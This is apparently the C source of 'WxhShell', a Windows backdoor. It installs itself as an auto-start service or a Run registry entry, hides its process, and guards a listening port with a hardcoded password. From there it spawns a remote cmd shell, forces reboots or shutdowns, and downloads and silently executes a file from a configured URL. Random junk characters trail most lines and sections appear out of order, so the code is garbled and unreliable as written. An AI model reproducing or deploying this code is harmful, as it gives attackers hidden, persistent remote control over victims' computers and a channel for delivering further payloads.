    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P0O5CaR  
    if(Boot(SHUTDOWN)) OZ 4uk.)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xGsg'  
    else { -oc@$*t  
    closesocket(wsh); U-/-aNJ]U  
    ExitThread(0); @+II@[ _lT  
    } |9>?{ B\a  
    break; _kUf[&  
    } @IL_  
  // 获取shell =d>^q7s  
  case 's': { Zwj\Hz.  
    CmdShell(wsh); #T<<{ RA  
    closesocket(wsh); S1oRMd)r  
    ExitThread(0); vi?{H*H4c  
    break; >7%Gd-;l  
  } CVfQ  
  // 退出 $1<V'b[E  
  case 'x': { +Hx$ABH  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [1{#a {4  
    CloseIt(wsh); MX!t/&X(n  
    break; gP=(2EVE  
    } df@IC@`pB  
  // 离开 fNb2>1  
  case 'q': { heQ<%NIA"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {p J{UJKv?  
    closesocket(wsh); ioxs x>e<  
    WSACleanup(); gBM6{48GF  
    exit(1); RC(fhqV  
    break; W*A-CkrO  
        } DyeV uB  
  } = 7%1]  
  } _SU%ul  
FPj j1U`C  
  // 提示信息 r[; .1,(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F-i`GMWC  
} H}m%=?y@  
  } E}eu]2=nU}  
y9W6e "  
  return; yVA<-PlS<  
} lm'L-ZPN  
L"|4 v  
// shell模块句柄 xXG-yh  
int CmdShell(SOCKET sock) ul[edp_  
{ U$CAA5HV]  
STARTUPINFO si; 7/*Q?ic  
ZeroMemory(&si,sizeof(si)); x3ds{Z$,>(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; PDN3=PAR/A  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; J9s4lsea  
PROCESS_INFORMATION ProcessInfo; c_$9z>$  
char cmdline[]="cmd"; vLQ!kB^\W  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); E/x2LYH  
  return 0; ! 63>II  
} {#>>dILPr  
tbz?th\#  
// 自身启动模式 OsS5WY0H  
int StartFromService(void) JP$@*F@t  
{ sg@)IEg</v  
typedef struct 8GpPyG ],e  
{ N}`.N  
  DWORD ExitStatus; yEYlQ=[#  
  DWORD PebBaseAddress; 7R9S%  
  DWORD AffinityMask; ?^TjG)e7  
  DWORD BasePriority; 7WZ).,qxY  
  ULONG UniqueProcessId; d=<"sHO  
  ULONG InheritedFromUniqueProcessId; &Xr@nt0H  
}   PROCESS_BASIC_INFORMATION; :e9}k5kdk  
tK9_]663  
PROCNTQSIP NtQueryInformationProcess; 4 ZD~i e  
02g!mJW>}y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; osKM3}Sb  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =#WoeWFW*  
?.E ixGzI^  
  HANDLE             hProcess; Gb)!]:8  
  PROCESS_BASIC_INFORMATION pbi; US8pT|/  
M4hzf  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X$"=\p>X  
  if(NULL == hInst ) return 0; p3?!}VM!y  
q5X \wz2N  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); QWt ?` h=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :U^!N8i"=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \ ;.W;!*  
Af8&PhyrU  
  if (!NtQueryInformationProcess) return 0; G$X+g{  
7:fC,2+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1pe eecE  
  if(!hProcess) return 0; tvNh@it:F  
;CbQ}k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; PnB%vS  
#BA=?7  
  CloseHandle(hProcess); -{z.8p}IW  
Jt4&%b-T  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6"+/Imb-  
if(hProcess==NULL) return 0; U`gQ7  
]"'$i4I{R  
HMODULE hMod; z+ybtS>pZ  
char procName[255]; JZ#O"rF  
unsigned long cbNeeded; o *5<Cxg  
QR'yZ45n4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !<!5;f8  
< C54cO  
  CloseHandle(hProcess);  QW  
;{Cr+lqTJ  
if(strstr(procName,"services")) return 1; // 以服务启动 r:h\{ DVf  
j=U [V&T  
  return 0; // 注册表启动 Q;p?.GI?-  
} oqzx}?0  
#:rywz+  
// 主模块 IooAXwOF  
int StartWxhshell(LPSTR lpCmdLine) :1Jg;G  
{ #{973~uj  
  SOCKET wsl; Xg>nb1e  
BOOL val=TRUE; R"Q=U}?$  
  int port=0; p|mt2oDjw  
  struct sockaddr_in door; <0my,hAK  
,xA`Fu9^  
  if(wscfg.ws_autoins) Install(); 3QL I|VpO  
9NCo0!Fb  
port=atoi(lpCmdLine); 2z/qbzG7  
S1 22. I  
if(port<=0) port=wscfg.ws_port; RS&l68[6  
g'G"`)~ 2  
  WSADATA data; ?-^eI!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; FJ}RT*7_C  
w6 C0]vh  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   GX4HW \>a  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )4oTA@wR  
  door.sin_family = AF_INET; jYAD9v%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); V=!tZ[4z$h  
  door.sin_port = htons(port); 'J+dTs ;0  
B j!{JcM-^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O+vuv,gNi  
closesocket(wsl); n W2[x;  
return 1; u<`CkYT  
} "b&[W$e  
?m3,e&pB5  
  if(listen(wsl,2) == INVALID_SOCKET) { zyNg?_SM  
closesocket(wsl); N*.JQvbnr  
return 1; zZ3Ko3L%g_  
} V+7x_>!&)  
  Wxhshell(wsl); GC(:}e|  
  WSACleanup(); O][R "5d  
=]r<xON%S  
return 0; STMc@MeZU_  
yLfb'Ba  
} P]*,955*)  
L\L/+yNv:G  
// 以NT服务方式启动 T;(k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zcCX;N  
{ a4gJ-FE  
DWORD   status = 0; %%["&  
  DWORD   specificError = 0xfffffff; KCR6@{@  
Obd@#uab  
  serviceStatus.dwServiceType     = SERVICE_WIN32; s{v!jZ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; p|Po##E}g^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =5bef8O  
  serviceStatus.dwWin32ExitCode     = 0; ?3ldHWa  
  serviceStatus.dwServiceSpecificExitCode = 0; Z1j3F  
  serviceStatus.dwCheckPoint       = 0; BLzl XhHn  
  serviceStatus.dwWaitHint       = 0; Bob K>db  
U8_<?Hd  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +an.z3?w  
  if (hServiceStatusHandle==0) return; BM+v,hGY  
'UGkL;  
status = GetLastError(); _hgu:  
  if (status!=NO_ERROR) sqkk 4w1#C  
{ uveby:dh  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -nP y?>p"|  
    serviceStatus.dwCheckPoint       = 0; AS[yNCsjC  
    serviceStatus.dwWaitHint       = 0; ^O_E T$  
    serviceStatus.dwWin32ExitCode     = status; XV"8R"u%Q  
    serviceStatus.dwServiceSpecificExitCode = specificError; gkDyWZG B  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \XaKq8uE  
    return; if6/ +7  
  } ;c1ar)G7  
<=;#I_E#E  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4L(/Z}(  
  serviceStatus.dwCheckPoint       = 0; (=n{LMa  
  serviceStatus.dwWaitHint       = 0; |l)z^V!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); o+e:H jZZ  
} };5d>#NK,Y  
dTN[E6#R  
// 处理NT服务事件,比如:启动、停止 H$2<N@'4z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) - inZX`afA  
{ Wr.G9zq.+  
switch(fdwControl) APydZ  
{ z;? 3 2K  
case SERVICE_CONTROL_STOP: J[6`$$l0  
  serviceStatus.dwWin32ExitCode = 0; Ke0j8|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :77dl/d%  
  serviceStatus.dwCheckPoint   = 0; K.k%Tg[ ~  
  serviceStatus.dwWaitHint     = 0; .W[ 9G\  
  { hV,)u3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~(Wq 5<v  
  } /"w%?Ea  
  return; CmyCne   
case SERVICE_CONTROL_PAUSE: d~NvS-u7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @edx]H1~^  
  break; k/MrNiC  
case SERVICE_CONTROL_CONTINUE: =+{SZh@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; QMUmPx&  
  break; 6\jhDP@`9  
case SERVICE_CONTROL_INTERROGATE: neN #Mo'A  
  break; V\U,PNkZQ  
}; 7noxUGmFw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wxy. &a]  
} pY75S5h:  
Gt >*y.]  
// 标准应用程序主函数 n#F:(MSOp  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9"T&P_   
{ g\;&Z  
!Zf< j  
// 获取操作系统版本 =ELl86=CG  
OsIsNt=GetOsVer(); <Lz/J-w  
GetModuleFileName(NULL,ExeFile,MAX_PATH); fO6i  
Pc"g  
  // 从命令行安装 8UY[$lc  
  if(strpbrk(lpCmdLine,"iI")) Install(); |Nx7jGd:i  
Tf [o'=2  
  // 下载执行文件 #^|"dIZ_M  
if(wscfg.ws_downexe) { @3T)J,f  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) NGsG4y^g?z  
  WinExec(wscfg.ws_filenam,SW_HIDE); "Dr8}g:X  
} vUtA@  
lOk'stLNa&  
if(!OsIsNt) { -?T:> *]p  
// 如果时win9x,隐藏进程并且设置为注册表启动 9 b?Nlk8d  
HideProc(); rUJIf;Zwo  
StartWxhshell(lpCmdLine); {ek a xSR  
} O7&6]/`  
else B.O &KRo  
  if(StartFromService()) W|NT*g{;M  
  // 以服务方式启动 a!iG;:K   
  StartServiceCtrlDispatcher(DispatchTable); ){~]-VK  
else %d3KE|&u  
  // 普通方式启动 )zU bMzF  
  StartWxhshell(lpCmdLine); P*9vs%W  
Jat|n97$  
return 0; 'Ipp1a Z_M  
} UBj"m<  
^5{M@o  
=t,}I\_^c  
~yrEB:w`_  
=========================================== yL ?dC"c  
G a1B&@T  
9c `Vrlu  
>P-{2 a,4  
ExJch\  
'fIBJ3s[o  
" |2ttdc.  
6;JlA})  
#include <stdio.h> aaa6R|>0  
#include <string.h> o \r6 iO  
#include <windows.h> ~Vh< mt  
#include <winsock2.h> x(r>iy  
#include <winsvc.h> TOH!vQP  
#include <urlmon.h> h3.6<vM  
57nSyd] PR  
#pragma comment (lib, "Ws2_32.lib") Y*}xD;c k  
#pragma comment (lib, "urlmon.lib") G]DSwtB?D  
vh29mzum  
#define MAX_USER   100 // 最大客户端连接数 ONc-jU^  
#define BUF_SOCK   200 // sock buffer Qv v~nGq$  
#define KEY_BUFF   255 // 输入 buffer Aw7oyC!  
Q^p> hda  
#define REBOOT     0   // 重启 },tN{()  
#define SHUTDOWN   1   // 关机 HutwgPvy  
Imv ]V6"D=  
#define DEF_PORT   5000 // 监听端口 zG"*B_l}+  
1-!q,q  
#define REG_LEN     16   // 注册表键长度 p bRU"   
#define SVC_LEN     80   // NT服务名长度 .|Ee,Un  
J ~"h&>T  
// 从dll定义API Z+3j>_Ss  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vv 7T/C  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "q<}#]u  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Uo D@ix&0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b~5Q|3P9  
948lL&  
// wxhshell配置信息 K |Z]  
struct WSCFG { :4HZ >!i  
  int ws_port;         // 监听端口 KMU2Po qD  
  char ws_passstr[REG_LEN]; // 口令 ;XUiV$  
  int ws_autoins;       // 安装标记, 1=yes 0=no `fL81)!jI#  
  char ws_regname[REG_LEN]; // 注册表键名 R=/^5DZ}  
  char ws_svcname[REG_LEN]; // 服务名 =&9x}4`;%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !%8|R]d  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +?&|p0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 pz uR H1[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @ +iO0?f  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" EKr#i}(x<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 FF}A_ZFY  
j 1Ng[  
}; xllk hD4F  
<aScA`\B#  
// default Wxhshell configuration M@ TXzn!&o  
struct WSCFG wscfg={DEF_PORT, et-<ib<lY  
    "xuhuanlingzhe", mW+QJ`3  
    1, W)OoHpdw  
    "Wxhshell", dI$U{;t  
    "Wxhshell", H.H$5(?O  
            "WxhShell Service", IegZ)&_n  
    "Wrsky Windows CmdShell Service", I"_``*/1  
    "Please Input Your Password: ", 76'vsg  
  1, jO5R0^w  
  "http://www.wrsky.com/wxhshell.exe", a ,EApUWw  
  "Wxhshell.exe" L2N O_N  
    }; +^@;J?O  
){_D  
// 消息定义模块 [0lu&ak[&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8`$lsD  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [WAnII  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; r/G6O  
char *msg_ws_ext="\n\rExit."; qR X:e o  
char *msg_ws_end="\n\rQuit."; KcW]"K>p!  
char *msg_ws_boot="\n\rReboot..."; r6x"D3  
char *msg_ws_poff="\n\rShutdown..."; Z'@a@Y+  
char *msg_ws_down="\n\rSave to "; l7p*: :(9  
!(&N{NH9  
char *msg_ws_err="\n\rErr!"; v[}g+3a  
char *msg_ws_ok="\n\rOK!"; \/ 9s<  
4!3mSWNV  
char ExeFile[MAX_PATH]; |IgH0 zZ  
int nUser = 0; l+V#`S*q  
HANDLE handles[MAX_USER]; h^`!kp  
int OsIsNt; R, J(]ew  
doj$chy  
SERVICE_STATUS       serviceStatus; W/?\8AE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %K$f2):  
X-mhz3Q&a  
// 函数声明 +hW^wqk/.  
int Install(void); *pOdM0AE  
int Uninstall(void); |V>_l' /  
int DownloadFile(char *sURL, SOCKET wsh); ar!`8"  
int Boot(int flag); 7^3a296  
void HideProc(void); E7c!KJ2  
int GetOsVer(void); <O]TM-h  
int Wxhshell(SOCKET wsl); GQR|t?:t  
void TalkWithClient(void *cs); ~Wox"h}(  
int CmdShell(SOCKET sock); .w@o%AO_  
int StartFromService(void); dh; L!  
int StartWxhshell(LPSTR lpCmdLine); BB)( #yoi  
|Qa[N(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <q dM  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {dk%j~w8  
I8%2tLVY  
// 数据结构和表定义 bt2`elH|  
SERVICE_TABLE_ENTRY DispatchTable[] = [og_0;  
{ p^yuz (  
{wscfg.ws_svcname, NTServiceMain}, "j<l=l!  
{NULL, NULL} ahnQq9  
}; Ck;>9>  
O:hCUr  
// 自我安装 RqenPM k  
int Install(void) /3>5ex>PN  
{ ]'%Z&1 w  
  char svExeFile[MAX_PATH]; b-Q%c xJ  
  HKEY key; /xu#ZZ?8F_  
  strcpy(svExeFile,ExeFile); 1X7tN2tQ  
-*QxZiKD  
// 如果是win9x系统,修改注册表设为自启动 o;#9$j7QP!  
if(!OsIsNt) { g`69 0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y#A0ud,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P*\h)F/3}t  
  RegCloseKey(key); H`XE5Hk)P%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^kElb;d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @ 7WWoy  
  RegCloseKey(key); \]a@ NBv  
  return 0; bV~z}V&  
    } MeSF,*lP  
  } %xH2jf  
} x KZLXQ'e-  
else { gFx2\QV  
/@!%/Kl  
// 如果是NT以上系统,安装为系统服务 '%} k"&t$i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); nJ]oApb/-  
if (schSCManager!=0) ( \ \BsK  
{ 2^*a$ OJ  
  SC_HANDLE schService = CreateService &.ENcEic  
  ( aSy^( WN8  
  schSCManager, .Zzx W  
  wscfg.ws_svcname, K:osfd  
  wscfg.ws_svcdisp, ;]/emw=a  
  SERVICE_ALL_ACCESS, GW[g!6 6^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , f=f8) +5  
  SERVICE_AUTO_START, ! qF U  
  SERVICE_ERROR_NORMAL, NukcBH  
  svExeFile, .0[ zZ  
  NULL, x'c%w:  
  NULL, 2A5R3x= \  
  NULL, |IL/F]I  
  NULL, { !;I4W%!  
  NULL 2c Pd$j  
  ); +li<y`aw0  
  if (schService!=0) B]""%&! O  
  { 7tEkQZMDI  
  CloseServiceHandle(schService); i 1{Lx)  
  CloseServiceHandle(schSCManager); =[7[F)I~O  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); DF>LN%a~  
  strcat(svExeFile,wscfg.ws_svcname); A5A4*.C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ev$\Ns^g$3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); XlPi)3m4/S  
  RegCloseKey(key); ^^O @ [_  
  return 0; 5Wyo!pRi  
    } zHEH?xZ6sD  
  } 2Gw2k8g&  
  CloseServiceHandle(schSCManager); @`,~d{ziF  
} )U?O4| \P  
} D (>,#F  
m7|}PH" 7  
return 1; |v'_Co0ki  
} d[p-zn.  
rKtr&w7X  
// 自我卸载 dE`a1H%  
int Uninstall(void) )C@O7m*.4  
{ 8~~*/oCoJt  
  HKEY key; 9Ez>srH(  
s\CZ os&  
if(!OsIsNt) { A$H;2T5N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5\?\ |*WT  
  RegDeleteValue(key,wscfg.ws_regname); h}T+M BA%  
  RegCloseKey(key); ;AjY-w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q|gRBu  
  RegDeleteValue(key,wscfg.ws_regname); O/|,rAE  
  RegCloseKey(key); (pU@$H  
  return 0; x+=Ko  
  } C'_^DPzj  
} V\!6K  
} 323zR*\m  
else { cg]\R1Gm  
}u>F}mUa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]+!{^h$  
if (schSCManager!=0) .w.jT"uD!  
{ 6ojEEM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E6=JL$"  
  if (schService!=0) sv g`s,g  
  { f4h|Nn%;  
  if(DeleteService(schService)!=0) { 2NNAsr}L  
  CloseServiceHandle(schService); 24}?GO  
  CloseServiceHandle(schSCManager); S~ff<A>f  
  return 0; %ja8DRQ.  
  } rmzM}T\20  
  CloseServiceHandle(schService); Ub(8ko:8$  
  } nQ$4W  
  CloseServiceHandle(schSCManager); m,u5S=3A{!  
} S m%\,/3  
} na5:)j4<  
j.b7<Vr4;  
return 1; s%{8$> 8V.  
} "RkbT O  
HkP')= sa  
// 从指定url下载文件 ib3 u:  
int DownloadFile(char *sURL, SOCKET wsh) CSA.6uIT  
{ :nt 7jm,  
  HRESULT hr; w[WyT`6h!  
char seps[]= "/"; 6<uJ}3  
char *token; 8@}R_GZc  
char *file; +# 38  
char myURL[MAX_PATH]; tm"9`   
char myFILE[MAX_PATH]; ':mw(`  
T~238C{vh  
strcpy(myURL,sURL); o9j*Yz  
  token=strtok(myURL,seps); [\Ks+S  
  while(token!=NULL) &yQilyU{V  
  { pZYcCc>6&  
    file=token; &sbKN[xM  
  token=strtok(NULL,seps); T;4& ^5 n  
  } i>]1E^yF  
 wfecM(  
GetCurrentDirectory(MAX_PATH,myFILE); 7M|!N_ $  
strcat(myFILE, "\\"); $RFy9(>  
strcat(myFILE, file); R>r@I_  
  send(wsh,myFILE,strlen(myFILE),0); t,YnweH  
send(wsh,"...",3,0); gH0' Ok'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7lC );  
  if(hr==S_OK) j[^(<R8  
return 0; a-A>A_.  
else rzR=% >  
return 1; C9,|G7~*q  
(O$PJLI  
} ]ZkR~?  
<~%e{F:[#  
// 系统电源模块 ,C=Lu9  
int Boot(int flag) .tg2HKD_lW  
{ k2"DFXsv  
  HANDLE hToken; CJDnHuozc  
  TOKEN_PRIVILEGES tkp; !4"!PrZDB  
S\,~6]^T  
  if(OsIsNt) { %gd {u\h^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jGeil qPC  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); a5)<roWQ  
    tkp.PrivilegeCount = 1; up# R9 d|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; b`lLqV<[cB  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >q}Ns^ .'  
if(flag==REBOOT) { d4 Hpe>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Wk0"U V  
  return 0; p)dD{+"/2  
} 3@t&5UjwQ  
else { )&nfV5@"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \!+#9sq0  
  return 0; NSsLuM=.  
} UdIl5P  
  } z'W8t|m}Pb  
  else { C1x"q9| \`  
if(flag==REBOOT) { mMz^I7$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9AA_e ~y  
  return 0; kF1Tg KSd  
} $X>$)U'p&-  
else { 6t,_Xqg*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) w%3R[Kdzk  
  return 0; ~6<'cun@x  
} :EkhF6B/  
} cE|Z=}4I7  
c2tf7fkH  
return 1; b3zxiq x  
} s`Y8 &e.Yr  
-msfiO  
// win9x进程隐藏模块 ']x`d  
void HideProc(void) + YjK#  
{ ;cFlZGw   
T3JM8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =SY`Xkj[  
  if ( hKernel != NULL ) 7,.3'cCL^  
  { e"){B  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); B@8M2Pl  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -MCDX^ >P  
    FreeLibrary(hKernel); wWaJ%z>3y  
  } ^#V7\;v$G  
|5;:3K+  
return; mh4<.6>5  
} 8iB}gHe9  
N084k}io  
// 获取操作系统版本 Xf"B\%,(`  
int GetOsVer(void) THOXs; k0  
{ ^L,Uz:[J  
  OSVERSIONINFO winfo; 0m,3''Q5lO  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); RRasX;zK  
  GetVersionEx(&winfo); 0sQt+_Dl%L  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) S260h,(,  
  return 1; ;RElG>#$  
  else Wv4x^nJ  
  return 0; ]ZbZ]  
} f3p)Q<H>`(  
mBQp#-1\  
// 客户端句柄模块 "u H VX|`  
int Wxhshell(SOCKET wsl) :/.SrkN(A7  
{ ~8j4IO(  
  SOCKET wsh; .#4;em%7  
  struct sockaddr_in client; 'a^'f]"  
  DWORD myID; FxkxV GZ"  
6>hW.aq}  
  while(nUser<MAX_USER) HRG2sv T4t  
{ CY4ntd4M  
  int nSize=sizeof(client); $YPU(y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); HQ7  
  if(wsh==INVALID_SOCKET) return 1; wH<'*>/  
8iIz!l%O  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); k>'c4ay290  
if(handles[nUser]==0) 4D4Y.g_x  
  closesocket(wsh); ` 465 H  
else 2JMMNpya  
  nUser++; /_?y]Ly[r  
  } 1p|h\H  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); HgY>M`U  
B=R9K3f  
  return 0; 0wA?.~ L  
} l_1y#B-k5  
]E:P-xTwaI  
// 关闭 socket ;;Y>7Kn!u  
void CloseIt(SOCKET wsh) <* vWcCS1  
{ HTa]T'  
closesocket(wsh); fl4z'8P"(  
nUser--; X`+8r O[  
ExitThread(0); s^QXCmb$8  
} Y~fa=R{W  
n6 VX0R  
// 客户端请求句柄 in[yrqFb7t  
void TalkWithClient(void *cs) x3QQ`w-  
{ bo]= *  
"A>/m"c]*  
  SOCKET wsh=(SOCKET)cs; %"C%pA  
  char pwd[SVC_LEN]; ;r1.Uz(  
  char cmd[KEY_BUFF]; ]i@WZ(  
char chr[1]; kzb%=EI  
int i,j; ^=1:!'*3D  
=_@Q+N*]|(  
  while (nUser < MAX_USER) { Yqz B="  
#% 1|$V*:  
if(wscfg.ws_passstr) { - / tzt  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (pud`@D;[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $yi[wwf 4  
  //ZeroMemory(pwd,KEY_BUFF);  Bm\OH#  
      i=0; sT;:V  
  while(i<SVC_LEN) { !ot$Q  
?%]?#4bkc  
  // 设置超时 tw*n+{]hi  
  fd_set FdRead; Cbq|<p# #o  
  struct timeval TimeOut; Z4ZR]eD  
  FD_ZERO(&FdRead); _ l$1@  
  FD_SET(wsh,&FdRead); WNa#X]*E)  
  TimeOut.tv_sec=8; /DC\F5 G  
  TimeOut.tv_usec=0; X^% E"{!nU  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $&@etsW0/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %ylpn7I\6  
m`Dn R`+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Nm;V9*5  
  pwd=chr[0]; >7Y6NAwY  
  if(chr[0]==0xd || chr[0]==0xa) { l(fStpP  
  pwd=0; hj*Fn  
  break; <8?jn*$;\  
  } 2\'5LL3  
  i++; ;'fn{j6C  
    } @:M?Re`L  
|E7)s;}D  
  // 如果是非法用户,关闭 socket nWzGb2Y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); uA1DTr?z  
} @0qDhv s  
by{ *R  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~|!f6=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mz<wYV*  
giNyD4uO  
while(1) { i4p2]Nr t  
M9J^;3Lrh  
  ZeroMemory(cmd,KEY_BUFF); >.}ewz&9o  
ja Ot"iU.B  
      // 自动支持客户端 telnet标准   $(PWN6{\r^  
  j=0; zB@@Gs>  
  while(j<KEY_BUFF) { OpT0V]k^"9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XY*KWO  
  cmd[j]=chr[0]; Ze:Y"49S+>  
  if(chr[0]==0xa || chr[0]==0xd) { 'aAay*1  
  cmd[j]=0; rf:C B&u  
  break; Jemb0Qv  
  } Z^?YTykH  
  j++; ~p'DPg4  
    } S^/:O.X)c,  
J]=2] oI2  
  // 下载文件 w?db~"T  
  if(strstr(cmd,"http://")) { FE[{*8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6lKM5,Oa  
  if(DownloadFile(cmd,wsh)) M,f|.p{,Y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .:(N1n'>1  
  else `& (Fy  
